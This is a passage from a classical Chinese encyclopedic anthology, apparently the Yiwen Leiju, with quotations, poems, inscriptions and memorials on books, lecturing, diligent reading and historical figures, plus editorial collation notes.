仲 冬 寒 气 严 . 霜 风 折 细 柳 . 白 水 凝 涧 溪 . 黄 落 散 堆 阜 . 康 哉 信 股 肱 . 惟 圣 归 元 首 . 独 叹 予 一 人 . 端 然 无 四 友 .\n梁 昭 明 太 子 咏 书 秩 诗 曰 . 擢 影 兔 园 池 . 抽 茎 淇 水 侧 . 幸 杂 絪 囊 用 . 聊 因 班 女 织 .\n【 赋 】 后 汉 杜 笃 书 ● 赋 曰 . 惟 书 ● 而 丽 容 . 象 君 子 之 淑 德 . 载 方 矩 而 履 规 . 加 文 藻 之 脩 饰 . 能 屈 伸 以 和 礼 . 体 清 净 而 坐 立 . 承 尊 者 之 至 意 . 惟 高 下 而 消 息 . 虽 转 旋 而 屈 桡 . 时 倾 斜 而 反 侧 . 抱 六 艺 而 卷 舒 . 敷 五 经 之 典 式 .\n【 赞 】 晋 王 凝 之 妻 谢 氏 论 语 赞 曰 . 卫 灵 问 阵 于 孔 子 . 孔 子 对 曰 . 俎 豆 之 事 . 则 尝 闻 之 . 军 旅 之 事 . 未 之 学 也 . 庶 则 大 矣 . 比 德 中 庸 . 斯 言 之 善 . 莫 不 归 宗 . 粗 者 乖 本 . 妙 极 令 终 . 嗟 我 怀 矣 . 兴 言 攸 同 . 孔 子 曰 . 民 之 于 仁 也 . 甚 于 水 火 . 水 火 吾 见 蹈 而 死 者 . 未 见 蹈 仁 而 死 者 矣 .\n【 铭 】 后 汉 李 尤 经 桡 铭 曰 . 瞻 之 在 前 . 忽 焉 在 后 . 进 新 习 故 . 不 舍 于 口 . 子 在 川 上 . 逝 者 如 斯 . 及 年 广 学 . 无 问 不 知 .\n宋 谢 灵 运 书 帙 铭 曰 . 怀 幽 卷 赜 . 戢 妙 抱 密 . 用 舍 以 道 . 舒 卷 不 失 . 亮 惟 勤 玩 . 无 或 暇 逸 .\n【 表 】 梁 沈 约 上 宋 书 表 曰 . 若 不 观 风 唐 世 . 无 以 见 帝 妫 之 美 . 自 非 睹 乱 秦 余 . 何 用 知 汉 祖 之 业 . 是 以 掌 言 未 记 . 爰 动 天 情 . 曲 诏 史 官 . 追 述 大 典 . 若 夫 英 主 启 基 . 名 臣 建 绩 . 极 ○ 初 学 记 二 十 一 作 拯 . 世 夷 难 之 功 . 配 天 光 宅 之 运 . 亦 足 以 勒 铭 钟 鼎 . 昭 被 方 策 . 臣 远 愧 南 董 . 近 谢 迁 固 . 以 闾 阎 小 才 . 述 一 代 盛 典 .\n【 启 】 齐 谢 朓 随 王 赐 左 传 启 曰 . 思 劝 挟 策 . 慈 勖 下 帷 . 朓 未 窥 山 笥 . 早 懵 河 籍 . 业 谢 专 门 . 说 非 章 句 . 庶 得 既 因 ○ 初 学 记 二 十 一 作 困 . 而 学 . 括 羽 莹 其 蒙 心 . 家 藏 赐 书 . 金 遗 其 贻 厥 .\n梁 刘 孝 绰 谢 为 东 宫 奉 经 启 曰 . 皇 太 子 四 术 夙 知 . 三 善 非 学 . 犹 复 旁 求 儒 雅 . 应 物 稽 疑 . 业 光 夏 校 . 德 茂 周 序 . 诸 侯 宋 鲁 . 于 焉 观 则 . 参 陪 盛 礼 . 莫 匪 国 华 . 臣 虽 职 典 经 图 . 而 同 官 不 一 . 推 择 而 举 . 尚 多 髦 俊 . 宠 光 曲 被 . 独 在 选 中 . 他 日 朝 闻 . 犹 甘 夕 死 . 况 兹 恩 重 . 弥 见 生 轻 .\n【 书 】 后 汉 孔 融 答 虞 仲 翔 书 曰 . 示 所 着 易 传 . 自 商 瞿\n以 来 . 舛 错 多 矣 . 去 圣 弥 远 . 众 说 骋 辞 . 曩 闻 延 陵 之 理\n乐 . 今 睹 吾 君 之 治 易 . 知 东 南 之 美 者 . 非 但 会 稽 之 竹 箭\n焉 . 又 观 象 云 物 . 察 应 寒 温 . 本 ○ 吴 志\n十 二 虞 翻 传 作 原 其 . 此 有 脱 文 . 祸 福 . 与 神 会 契 .\n可 谓 探 赜 穷 道 者 已 . 方 世 清 . 圣 上 求 贤 者 . 梁 丘 以 卦 筮\n宁 世 . 刘 向 以 洪 范 昭 名 . 想 当 来 翔 . 追 踪 前 烈 . 相 见 乃\n尽 . 不 复 多 陈 .\n韩 子 曰 . 夫 耕 之 用 力 也 劳 . 而 民 为 之 者 何 . 得 以 富 . 战 之 为 事 也 危 . 而 民 为 之 者 何 . 得 以 贵 . 今 脩 文 学 . 习 谈 论 . 则 无 耕 之 劳 . 而 有 富 之 实 . 无 战 之 危 . 而 有 贵 之 尊 . 则 人 孰 不 为 也 .\n战 国 策 曰 . 苏 秦 说 李 兑 . 抵 掌 而 谈 . 兑 送 秦 明 月 之 珠 . 和 氏 之 璧 .\n史 记 曰 . 齐 宣 王 时 . 稷 下 复 盛 .\n汉 书 曰 . 董 仲 舒 下 帷 . 讲 论 读 诵 . 弟 子 以 文 ○ 汉 书 五 十 六 . 董 仲 舒 传 作 久 . 次 相 授 业 . 或 莫 见 其 面 .\n又 夏 侯 胜 每 讲 . 常 谓 弟 子 曰 . 士 病 不 明 经 . 经 术 苟 明 . 其 取 青 紫 . 如 俛 拾 地 芥 尔 . 学 不 明 . 不 如 归 耕 .\n又 曰 . 诸 儒 为 之 语 曰 . 五 鹿 岳 岳 . 朱 云 折 其 角 .\n东 观 汉 记 曰 . 朱 祜 . 字 仲 先 . 初 上 学 长 安 时 . 过 朱 祜 . 祜 常 留 上 讲 . 竟 乃 谈 语 . 及 车 驾 幸 祜 家 . 上 谓 祜 曰 . 主 人 得 无 去 我 讲 乎 .\n汉 书 ○ 按 本 条 见 后 汉 书 一 百 郑 太 传 . 此 脱 后 字 . 曰 . 郑 太 说 董 卓 云 . 孔 公 谓 ○ 后 汉 书 作 绪 . 能 清 谈 高 论 . 嘘 拓 ○ 后 汉 书 作 枯 . 吹 笙 . ○ 后 汉 书 作 生 .\n典 略 曰 . 汉 樊 准 为 郎 中 令 . 乃 上 疏 曰 . 方 今 学 者 约 少 . 远 方 又 甚 . 博 士 倚 席 不 讲 . 大 学 多 治 产 业 .\n谢 承 后 汉 书 曰 . 戴 冯 . 字 次 仲 . 拜 郎 中 . 正 旦 朝 贺 . 帝 令 群 臣 说 经 义 . 有 不 通 者 . 辄 夺 其 席 . 以 益 通 者 . 冯 重 五 十 席 . 京 师 议 曰 . 解 经 不 穷 戴 侍 中 .\n管 辂 别 传 曰 . 冀 州 刺 史 裴 徽 . 召 文 学 从 事 . 一 相 见 . 清 谈 终 日 . 不 觉 罢 倦 . 再 相 见 . 转 为 钜 鹿 从 事 . 三 相 见 . 转 为 治 中 . 四 相 见 . 转 为 别 驾 . 至 前 十 日 . 举 为 秀 才 .\n魏 文 帝 ○ 按 本 条 本 书 六 十 三 . 太 平 御 览 六 百 十 五 作 魏 书 . 此 脱 书 名 . 集 诸 儒 于 肃 城 ○ 御 览 作 成 . 门 内 . 讲 论 大 义 . 侃 侃 无 倦 .\n张 载 别 传 曰 . 张 载 文 章 殊 妙 . 尝 为 濛 汜 池 赋 . 傅 玄 见 之 . 叹 息 称 妙 . 以 车 迎 载 . 言 谈 终 日 .\n殷 氏 世 传 曰 . 殷 亮 . 建 武 中 . 征 拜 博 士 . 诸 儒 讲 论 . 胜 者 赐 席 . 亮 重 至 八 九 .\n竹 林 七 贤 论 曰 . 王 济 尝 解 禊 洛 水 . 明 日 . 或 问 王 济 曰 . 昨 日 又 有 何 论 议 . 济 曰 . 张 华 善 说 史 汉 . 裴 逸 人 叙 前 言 往 行 . 衮 衮 可 听 . 安 丰 侯 道 子 房 季 札 之 闲 . 超 然 玄 着 .\n抱 朴 子 曰 . 王 充 所 着 论 衡 . 北 方 都 未 有 得 之 者 . 蔡 伯 喈 常 到 江 东 . 得 之 . 叹 为 高 文 . 恒 爱 玩 而 独 秘 之 . 及 还 中 国 . 诸 儒 觉 其 谈 更 远 . 搜 求 其 帐 中 . 果 得 论 衡 .\n郭 子 曰 . 范 汪 . ○ 原 讹 注 . 据 冯 校 本 改 . 字 玄 平 . 在 简 文 坐 谈 . 欲 屈 . 引 长 史 王 仲 祖 也 . 曰 . 卿 助 我 . 王 曰 . 此 非 拔 山 之 力 所 能 助 .\n语 林 曰 . 刘 真 长 与 桓 宣 武 共 听 讲 礼 记 . 桓 公 云 . 时 有 入 心 处 . 便 咫 尺 玄 门 .\n又 曰 . 刘 真 长 谓 许 玄 度 曰 . 卿 为 不 去 . 我 将 成 轻 薄 京 尹 . 世 说 曰 . 宋 处 宗 甚 有 思 理 . 尝 买 得 一 长 鸣 鸡 . 笼 盛 着 . 遂 作 人 语 . 与 处 宗 谈 论 . 宗 因 此 功 大 进 .\n又 曰 . 何 晏 为 吏 部 尚 书 . 时 谈 客 盈 坐 . 王 弼 未 弱 冠 . 往 见 . 晏 因 条 向 者 胜 理 语 弼 曰 . 此 理 仆 以 为 极 . 可 得 复 难 不 . 弼 便 作 难 . 坐 人 便 以 为 屈 . 于 是 弼 为 客 主 数 番 . 皆 一 坐 所 不 及 .\n又 曰 . 孝 武 时 . 将 讲 孝 经 . 谢 太 傅 与 诸 人 私 逆 讲 习 . 车 武 子 谓 曰 . 不 问 则 德 音 有 遗 . 多 问 则 重 劳 二 谢 . 袁 曰 . 必 无 此 嫌 . 车 曰 . 何 以 知 尔 . 袁 曰 . 何 当 见 明 镜 于 古 照 . 泛 清 流 于 惠 风 . ○ 按 世 说 言 语 篇 作 何 尝 见 明 镜 疲 于 屡 照 . 清 流 惮 于 惠 风 . 此 有 脱 讹 .\n晋 书 曰 . 郭 象 如 悬 河 . 惟 新 既 新 尔 史 既 辩 尔 疑 ○ 按 惟 新 以 下 十 字 . 系 自 下 窜 入 . 应 删 .\n范 晔 后 汉 书 曰 . 杨 震 . 字 伯 起 . 宾 客 于 朝 . 不 答 州 郡 礼 命 . 有 鹳 雀 衔 三 鳣 鱼 . 集 讲 堂 前 . 都 讲 曰 . 鳣 者 卿 大 夫 服 之 . 象 三 台 . 先 生 自 此 升 矣 . 位 至 太 尉 .\n【 诗 】 晋 潘 岳 于 贾 谧 坐 讲 汉 书 诗 曰 . 治 道 在 儒 . 弘 儒 由 人 . 显 允 鲁 侯 . 文 质 彬 彬 . 笔 下 摛 藻 . 席 上 敷 珍 . 前 疑 惟 辨 . 旧 史 惟 新 . 惟 新 尔 史 . 既 辨 尔 疑 . 延 我 寮 友 . 讲 此 微 辞 .\n梁 任 昉 厉 吏 民 讲 学 诗 曰 . 暮 烛 迫 西 榆 . 将 落 诫 南 亩 . 曰 余 本 疏 惰 . 颓 暮 积 榆 柳 . 践 境 渴 师 臣 . 临 政 饥 益 友 . 旰 食 愿 横 经 . 终 朝 思 拥 帚 . 虽 欣 辨 兰 艾 . 何 用 辟 蒿 莠 .\n【 碑 】 梁 元 帝 皇 太 子 讲 学 碑 曰 . 皇 太 子 洊 雷 种 德 . 重 离 作 两 . 业 观 孟 侯 . 道 高 上 嗣 . 宫 坛 累 仞 . 高 山 仰 止 . 承 华 之 闼 . 更 似 通 德 之 门 . 博 望 之 园 . 反 类 华 阴 之 市 . 家 丞 庶 子 . 并 入 四 科 . 洗 马 后 车 . 俱 通 六 学 . 转 金 路 而 下 壁 雍 . 晬 王 裕 ○ 初 学 记 二 十 一 作 容 . 而 经 槐 市 . 详 其 悬 镜 高 堂 . 衢 樽 待 酌 . 瞻 后 思 前 . 博 文 约 礼 . 将 使 东 极 长 男 之 宫 . 不 独 铭 于 银 榜 . 南 皮 太 子 之 序 . 岂 徒 擅 于 金 碑 .\n隋 江 总 皇 太 子 太 学 讲 碑 曰 . 我 大 陈 之 御 天 下 . 若 水 涣 其 长 澜 . 瑶 星 踵 其 永 历 . 重 华 诞 宥 . 兴 于 大 鹿 之 野 . 敬 仲 继 业 . 盛 矣 鸣 凤 之 占 . 兼 以 鸿 才 海 富 . 逸 思 泉 泻 . 含 毫 落 . 动 八 阕 之 歌 谣 . 只 句 片 言 . 谐 五 声 之 节 奏 . 云 飞 风 起 . 追 压 汉 帝 之 辞 . 高 观 华 池 . 远 跨 魏 皇 之 什 . 爰 复 建 藏 书 之 册 . 开 献 书 之 路 . 帷 帐 丛 残 . 家 壁 遗 逸 . 紫 台 秘 典 . 绿 帙 奇 文 . 羽 陵 蠹 迹 . 嵩 山 落 简 . 外 史 所 掌 . 广 内 所 司 . 靡 不 饰 以 铅 椠 . 雕 以 缃 素 . 此 文 教 之 修 也 .\n【 表 】 梁 简 文 帝 请 右 将 军 朱 异 奉 述 制 旨 易 义 表 曰 . 臣 闻 仰 观 俯 察 . 定 八 卦 之 宗 . 河 图 洛 书 . 符 三 易 之 教 . 譬 彼 影 圭 . 居 四 方 之 中 极 . 犹 彼 黄 钟 . 总 六 律 之 殊 气 . 疑 关 永 辟 . 逾 弘 农 之 洞 启 . 辞 河 既 吐 . 迈 龙 门 之 已 凿 . 臣 以 庸 蔽 . 窃 尚 名 理 . 钻 仰 几 深 . 伏 惟 舞 蹈 . 冒 欲 请 侍 中 右 卫 将 臣 异 . 于 玄 圃 宣 猷 堂 . 奉 述 制 旨 易 义 . 弘 阐 圣 作 . 垂 裕 蒙 求 . 谨 以 表 闻 . 伏 愿 垂 允 .\n又 请 尚 书 左 丞 贺 琛 奉 述 制 旨 毛 诗 义 表 曰 . 臣 闻 乐 由 阳 来 . 性 情 之 本 . 诗 以 言 志 . 政 教 之 基 . 故 能 使 天 地 咸 亨 . 人 伦 敦 序 . 故 东 鲁 梦 周 . 穷 兹 删 采 . 西 河 邵 魏 . 着 彼 缵 述 . 协 星 辰 而 建 诗 . 观 斗 仪 而 命 礼 . 以 为 陈 徐 雅 颂 . 膏 肓 匪 一 . 燕 韩 篇 什 . 痼 疾 多 端 . 北 海 郑 君 . 徒 逢 笺 释 . 南 郡 太 守 . 空 为 异 序 . 庶 令 中 和 永 播 . 硕 学 知 宗 . 大 胥 负 师 . 国 子 咸 绍 . 孝 敬 之 德 . 化 洽 天 下 . 多 识 之 风 . 道 行 比 屋 .\n陈 周 弘 正 请 梁 武 帝 释 干 坤 二 系 义 表 曰 . 自 非 含 徽 体 极 . 尽 化 穷 神 . 岂 能 通 志 成 务 . 探 赜 致 远 . 而 宣 尼 比 之 桎 梏 . 绝 韦 编 于 沴 宇 . 轩 辕 之 所 听 莹 . 遗 玄 珠 于 赤 水 . 至 若 爻 画 之 包 于 六 经 . 文 辞 之 穷 于 两 系 . 名 儒 剧 谈 以 历 载 . 鸿 生 指 掌 以 终 年 . 自 制 旨 降 谈 彖 繇 . 裁 成 易 道 . 析 至 微 于 秋 毫 . 涣 曾 冰 于 幽 谷 .\n【 启 】 梁 简 文 帝 谢 敕 齎 中 庸 讲 疏 启 曰 . 若 睹 玄 圭 . 如 观 金 版 . 洽 日 九 披 . 流 光 照 灼 . 庆 云 五 色 . 垂 采 氤 氲 . 天 经 地 义 之 宗 . 出 忠 入 孝 之 道 . 实 立 教 之 关 键 . 德 行 之 指 归 . 自 非 千 年 有 圣 . 得 奉 皇 门 . 无 以 识 九 经 之 伦 . 禀 二 门 之 致 . 窃 以 周 发 上 圣 . 问 五 行 于 箕 子 . 宣 尼 照 极 . 访 六 舞 于 苌 弘 . 未 有 悬 镜 独 晓 . 仰 均 神 鉴 . 方 知 始 画 八 卦 . 风 羲 有 惭 . 正 名 百 物 . 轩 辕 为 陋 .\n梁 王 僧 孺 谢 齐 竟 陵 王 使 撰 众 书 启 曰 . 伏 惟 殿 下 . 铜 爵 始 成 . 早 摛 从 后 之 句 . 柏 梁 初 构 . 首 属 骖 驾 之 辞 . 楚 史 所 受 . 曾 不 云 述 . 沛 献 斯 陈 . 良 未 足 采 . 徒 以 愿 托 后 车 . 以 望 西 园 之 客 . 摄 齐 下 坐 . 有 糅 南 皮 之 游 . 谬 服 同 于 鲁 儒 . 窃 吹 等 乎 齐 乐 .\n【 书 】 后 汉 孔 臧 与 子 琳 书 曰 . 告 琳 . 须 ○\n连 丛 子 作 顷 . 来 闻 汝 诸 友 生 讲 肄 ○\n原 讹 肆 . 据 冯 校 本 改 . 书 传 . 孜 孜 昼 夜 . 衎 衎 不 怠\n. 善 矣 . 人 之 进 道 . 唯 问 其 志 . 取 必 以 渐 . 勤 则 得 多 .\n山 涧 至 柔 . 石 为 之 穿 . 蝎 虫 至 弱 . 木 为 之 弊 . 然 而 能 以\n微 脆 之 形 . 陷 坚 刚 之 体 . 岂 非 渐 之 致 乎 .\n庄 子 曰 . 臧 与 谷 . 相 与 牧 羊 . 俱 亡 其 羊 . 问 臧 奚 事 . 挟 策 读 书 . 问 谷 奚 事 . 博 塞 以 游 .\n尚 书 大 传 曰 . 子 夏 读 书 毕 . 见 夫 子 . 夫 子 问 之 . 何 为 于 书 . 子 夏 曰 . 书 之 论 事 . 昭 昭 如 日 月 之 代 明 . 离 离 如 参 辰 之 错 行 . 商 所 受 于 夫 子 者 . 志 之 于 心 . 不 敢 忘 也 .\n史 记 曰 . 孔 子 晚 喜 易 . 读 之 韦 编 三 绝 .\n汉 书 曰 . 刘 向 精 专 经 术 . 昼 诵 书 传 . 夜 观 星 宿 . 又 . 班 游 以 选 受 诏 . 进 读 群 书 .\n东 观 汉 记 曰 . 章 帝 诏 黄 香 . 令 诣 合 东 观 . 读 所 未 尝 见 书 . 谓 诸 生 曰 . 此 日 下 无 双 . 江 夏 黄 童 也 .\n又 曰 . 曹 褒 寝 则 怀 铅 笔 . 行 则 诵 诗 书 .\n又 曰 . 高 凤 读 书 . 夜 不 绝 声 . 妻 之 田 曝 麦 . 以 竿 授 凤 . 令 护 鸡 . 天 暴 雨 而 意 不 在 . 不 觉 流 麦 .\n谢 承 后 汉 书 曰 . 王 充 . 字 仲 任 . 家 贫 无 书 . 至 京 师 市 读 书 . 一 见 辄 诵 忆 .\n又 曰 . 应 世 叔 读 书 . 五 行 俱 下 .\n汉 书 曰 . 匡 衡 凿 壁 . 引 邻 家 火 光 . 孔 中 读 书 .\n孙 卿 . 有 子 恶 卧 . 而 焠 其 掌 .\n西 京 记 曰 . 鲁 国 陈 正 . 字 叔 方 . 为 太 官 令 . 进 御 食 . 发 贯 炙 . 光 武 欲 斩 正 . 正 曰 . 臣 当 死 者 三 . 臣 朗 月 书 章 奏 . 侧 光 读 书 . 不 见 发 . 三 也 .\n物 理 论 曰 . 里 语 . 白 能 丝 . 可 读 诗 .\n魏 略 曰 . 侍 中 董 遇 好 学 . 避 难 采 薪 负 贩 . 常 挟 经 书 . 投 闲 习 诵 . 人 从 学 者 . 遇 不 肯 教 之 . 云 先 读 百 遍 . 而 义 自 见 .\n又 曰 . 贾 逵 . 字 梁 道 . 好 春 秋 . 及 为 牧 守 . 常 自 课 之 . 月 一 遍 .\n吴 志 曰 . 阚 泽 . 字 德 润 . 好 学 居 贫 . 常 从 人 赁 书 写 . 写 既 毕 . 诵 亦 遍 .\n上 党 记 曰 . 太 行 山 箐 有 射 熊 . 于 岩 闲 见 诸 生 读 书 . 往 觅 不 知 处 . 传 以 为 仙 人 .\n晋 书 曰 . 王 欢 . 字 君 厚 . 专 精 读 书 . 不 营 产 业 . 家 无 升 斗 . 妻 患 . 或 毁 其 书 . 后 为 通 儒 .\n宋 书 曰 . 车 胤 . 字 武 子 . 少 勤 学 . 家 贫 无 灯 . 夏 月 乃 聚 萤 照 读 . 冬 曾 聚 雪 . 仕 至 司 徒 .\n晋 书 曰 . 刘 寔 . 字 子 真 . 平 原 人 . 家 贫 好 学 . 织 牛 衣 以 卖 而 自 给 . 仕 至 侍 中 . 迁 司 徒 .\n汉 书 曰 . 朱 买 臣 . 字 翁 子 . 会 稽 人 . 少 家 贫 . 勤 学 不 事 产 业 . 位 至 本 郡 太 守 .\n后 汉 书 曰 . 孙 敬 . 字 文 质 . 好 学 . 闭 户 读 书 . 不 堪 其 睡 . 乃 以 绳 悬 之 屋 梁 . 人 曰 闭 户 先 生 .\n又 曰 . 倪 宽 与 人 佣 力 . 带 经 书 耕 锄 . 仕 至 丞 相 .\n【 诗 】 宋 陶 潜 读 山 海 经 诗 曰 . 既 耕 亦 已 种 . 且 还 读 我 书 . 泛 览 周 王 传 . 流 观 山 海 图 . 俛 仰 终 宇 宙 . 不 乐 复 何 如 .\n宋 谢 惠 连 读 书 诗 曰 . 贲 园 奚 足 慕 . 下 帷 故 宜 遵 . 山 成 由 一 篑 . 崇 积 始 微 尘 . 虞 轩 虽 眇 莽 . 颜 隰 亦 何 人 .\n齐 王 融 抄 众 书 应 司 徒 教 诗 曰 . 说 礼 固 多 才 . 惇 诗 信 为 善 . 岩 笥 发 仙 华 . 金 縢 开 碧 篆 .\n【 赋 】 晋 束 皙 读 书 赋 曰 . 耽 道 先 生 . 澹 泊 闲 居 . 藻 练 精 神 . 呼 吸 清 虚 . 抗 志 云 表 . 戢 形 陋 庐 . 垂 帷 帐 以 隐 几 . 被 纨 素 而 读 书 . 抑 扬 嘈 囋 . 或 疾 或 徐 . 优 游 蕴 藉 . 亦 卷 亦 舒 . 颂 卷 耳 则 忠 臣 喜 . 咏 蓼 莪 则 孝 子 悲 . 称 硕 鼠 则 贪 民 去 . 唱 白 驹 而 贤 士 归 . 是 故 重 华 咏 诗 以 终 已 . 仲 尼 读 易 于 身 中 . 原 宪 潜 吟 而 忘 贱 . 颜 回 精 勤 以 轻 贫 . 倪 宽 口 诵 而 芸 耨 . 买 臣 行 吟 而 负 薪 . 贤 圣 其 犹 孳 孳 . 况 中 才 与 小 人 .\n【 赞 】 庾 信 高 凤 读 书 不 知 流 麦 赞 曰 . 高 凤 好 学 . 专 心 不 回 . 留 连 经 笥 . 对 玩 书 台 . 石 门 云 度 . 铜 梁 雨 来 . 麦 流 虽 远 . 书 卷 犹 开 .\n【 铭 】 后 汉 李 尤 读 书 枕 铭 曰 . 听 政 理 事 . 怠 则 览 书 . 倾 倚 偃 息 . 随 体 兴 居 . 寤 心 起 意 . 由 愈 宴 娱 .\n【 书 】 后 汉 冯 衍 说 邓 禹 书 曰 . 衍 闻 昔 者 先 王 学 大 道 以 观 于 政 . 夫 为 君 而 不 明 于 道 . 上 无 所 承 天 . 下 无 以 化 民 . 为 臣 而 不 明 于 道 . 进 无 以 事 君 . 退 无 以 修 身 . 圣 朝 天 然 之 资 . 将 军 纯 茂 之 德 . 诚 少 游 神 乎 经 书 之 林 . 驰 情 乎 玄 妙 之 中 . 明 照 于 日 月 . 而 智 溢 于 四 海 . 圣 朝 享 尧 舜 之 荣 . 将 军 荷 稷 契 之 烈 . 自 然 理 也 .\n后 汉 孔 融 与 宗 从 弟 书 曰 . 知 晚 节 豫 学 既 美 . 大 弟 因 而\n能 寤 . 又 合 先 君 加 我 之 义 . 岂 唯 仁 弟 . 实 专 承 之 . 凡 我\n宗 族 . 犹 或 赖 焉 .\n博 物 志 曰 . 贤 者 着 行 曰 传 .\n汉 书 曰 . 古 之 王 者 . 世 有 史 官 . 君 举 必 书 . 所 以 慎 言 行 . 昭 法 戒 也 . 左 史 记 言 . 右 史 记 事 . 事 为 春 秋 . 言 为 尚 书 .\n【 诗 】 魏 阮 瑀 诗 曰 . 误 哉 秦 穆 公 . 身 没 从 三 良 . 忠 臣 不 达 命 . 随 驱 就 死 亡 . 低 头 窥 圹 户 . 仰 视 日 月 光 . 谁 谓 此 可 处 . 恩 义 不 可 忘 . 路 人 为 流 涕 . 黄 鸟 鸣 高 桑 .\n又 诗 曰 . 燕 丹 养 勇 士 . 荆 轲 为 上 宾 . 图 擢 尽 匕 首 . 长 驱 西 入 秦 . 素 车 驾 白 马 . 相 送 易 水 津 . 渐 离 击 筑 歌 . 悲 声 感 路 人 . 举 坐 同 咨 嗟 . 叹 气 若 青 云 .\n宋 陶 潜 咏 荆 轲 诗 曰 . 惜 哉 剑 术 疏 . 奇 功 遂 不 成 . 其 人 久 已 没 . 千 载 有 余 情 .\n陈 周 弘 直 赋 得 荆 轲 诗 曰 . 荆 卿 欲 报 燕 . 衔 恩 弃 百 年 . 市 中 倾 别 酒 . 水 上 击 离 弦 . 匕 首 光 陵 日 . 长 虹 气 烛 天 . 留 言 与 宋 意 . 悲 歌 非 自 怜 .\n陈 杨 缙 赋 得 荆 轲 诗 曰 . 函 关 使 不 通 . 燕 将 重 深 功 . 长 虹 贯 白 日 . 易 水 急 寒 风 . 壮 发 危 冠 下 . 匕 首 地 图 中 . 琴 声 不 可 识 . 遗 恨 没 秦 宫 .\n晋 袁 宏 诗 曰 . 周 昌 梗 概 臣 . 辞 达 不 为 讷 . 汲 黯 社 稷 器 . 栋 梁 表 天 骨 . 陆 贾 厌 解 纷 . 时 与 酒 梼 杌 . 婉 转 将 相 门 . 一 言 和 平 勃 . 趋 舍 各 有 之 . 俱 令 道 不 没 .\n又 诗 曰 . 无 名 困 蝼 蚁 . 有 名 世 所 疑 . 中 庸 难 为 体 . 狂 狷 不 及 时 . 杨 恽 非 忌 贵 . 知 及 有 余 辞 . 躬 耕 南 山 下 . 芜 秽 不 遑 治 . 赵 瑟 奏 哀 音 . 秦 声 歌 新 诗 . 吐 音 非 凡 唱 . 负 此 欲 何 之 .\n陈 阮 卓 赋 咏 得 鲁 连 诗 曰 . 鲁 连 有 高 趣 . 意 气 本 相 求 . 笑 罢 秦 军 却 . 书 成 燕 将 愁 . 聊 弃 南 金 赏 . 方 从 沧 海 游 . 寄 言 人 世 客 . 非 君 能 见 留 .\n晋 左 思 咏 史 诗 曰 . 被 褐 出 阊 阖 . 高 步 追 许 由 . 振 衣 千 仞 冈 . 濯 足 万 里 流 .\n吾 希 段 干 木 . 偃 息 蕃 魏 君 . 吾 慕 鲁 仲 连 . 谈 笑 却 秦 军 . 当 世 贵 不 羇 . 遭 难 能 解 纷 . 功 成 耻 受 赏 . 高 节 卓 不 群 . 又 咏 史 诗 曰 . 郁 郁 涧 底 松 . 离 离 山 上 苗 . 以 彼 径 寸 茎 . 荫 此 百 尺 条 . 世 胄 蹑 高 位 . 英 俊 沉 下 僚 . 地 势 使 之 然 . 由 来 非 一 朝 . 金 张 籍 旧 业 . 七 叶 弭 汉 貂 . 冯 公 岂 不 伟 . 白 首 不 见 招 .\n又 咏 史 诗 曰 . 主 父 宦 不 达 . 骨 肉 还 相 薄 . 买 臣 困 樵 采 . 伉 俪 不 安 宅 . 陈 平 无 产 业 . 归 来 翳 负 郭 . 长 卿 还 成 都 . 壁 立 何 寥 廓 . 四 贤 岂 不 伟 . 遗 烈 光 篇 籍 . 当 其 未 遇 时 . 忧 在 填 沟 壑 . 英 雄 有 屯 邅 . 由 来 自 古 昔 . 何 世 无 奇 才 . 遗 之 在 草 泽 .\n晋 张 协 咏 史 诗 曰 . 昔 在 西 京 时 . 朝 野 多 欢 娱 . 蔼 蔼 东 都 门 . 群 公 祖 二 疏 . 朱 轩 曜 金 城 . 供 帐 临 长 衢 . 达 人 知 止 足 . 遗 荣 忽 如 无 . 抽 簪 解 朝 衣 . 散 发 归 海 隅 .\n宋 孝 武 咏 史 诗 曰 . 聂 政 凭 骁 气 . 荆 轲 擅 美 风 . 孤 刃 骇 韩 庭 . 独 步 震 秦 宫 . 怀 音 岂 若 始 . 捐 驱 在 命 终 . 雄 姿 列 往 志 . 流 声 固 无 穷 .\n宋 鲍 昭 咏 史 诗 曰 . 五 都 矜 财 雄 . 三 川 养 声 利 . 百 金 不 市 死 . 明 经 有 高 位 . 京 城 十 二 衢 . 飞 甍 各 鳞 次 . 仕 子 飘 华 缨 . 游 客 竦 轻 辔 . 明 星 辰 未 晞 . 轩 盖 已 云 至 . 宾 御 纷 飒 沓 . 鞍 马 光 照 地 . 寒 暑 在 一 时 . 繁 华 及 春 媚 . 君 平 独 寂 漠 . 身 势 两 相 弃 .\n陈 张 正 见 赋 得 韩 信 诗 曰 . 淮 阴 总 汉 兵 . 燕 齐 擅 远 声 . 沉 沙 拥 急 水 . 拔 帜 上 危 城 . 野 有 千 金 报 . 朝 称 三 杰 名 . 所 悲 云 梦 泽 . 空 伤 狡 兔 情 .\n陈 刘 删 赋 得 苏 武 诗 曰 . 奉 使 穷 沙 漠 . 抆 泪 上 河 梁 . 食 雪 天 山 近 . 思 归 海 路 长 . 系 书 秋 待 雁 . 握 节 暮 看 羊 . 因 思 李 都 尉 . 还 汉 不 相 忘 .\n陈 祖 孙 登 赋 得 司 马 相 如 诗 曰 . 雍 容 文 雅 深 . 王 吉 共 追 寻 . 当 垆 应 酤 酒 . 托 意 且 弹 琴 . 上 林 能 作 赋 . 长 门 得 赐 金 . 唯 当 有 汉 主 . 知 怀 封 禅 心 .\n隋 王 由 礼 赋 得 马 援 诗 曰 . 二 帝 已 驰 声 . 五 溪 还 总 兵 . 受 诏 金 鞍 动 . 论 功 铜 马 成 . 唯 称 聚 米 势 . 无 惭 薏 苡 情 . 虽 谢 云 台 影 . 犹 传 千 载 名 .\n【 志 】 后 汉 班 固 述 五 行 志 曰 . 河 图 命 宓 . 洛 书 赐 禹 . 八 卦 成 列 . 九 畴 追 叙 . 世 代 是 宝 . 光 演 文 武 . 春 秋 之 占 . 各 征 是 举 .\n又 艺 文 志 述 曰 . 伏 羲 画 卦 . 书 契 后 作 . 虞 夏 商 周 . 孔 纂 其 业 . 纂 书 删 诗 . 缀 礼 正 乐 . 彖 系 大 易 . 因 史 立 法 . 六 学 既 登 . 遭 世 罔 弘 . 群 言 纷 乱 . 诸 子 相 腾 . 秦 人 是 灭 . 汉 循 其 缺 . 刘 向 司 籍 . 九 流 区 别 .\n【 铭 】 宋 颜 延 之 家 传 铭 曰 . 旷 彼 琅 邪 . 实 唯 海 宇 . 谁 其 来 迁 . 时 闻 远 祖 . 青 州 隐 秀 . 爰 始 贞 居 . 内 辞 鼎 府 . 外 秉 邦 闾 . 建 节 中 平 . 分 竹 黄 初 . 刑 清 齐 石 . ○ 初 学 记 二 十 一 作 右 . 政 偃 营 区 . 葛 峄 明 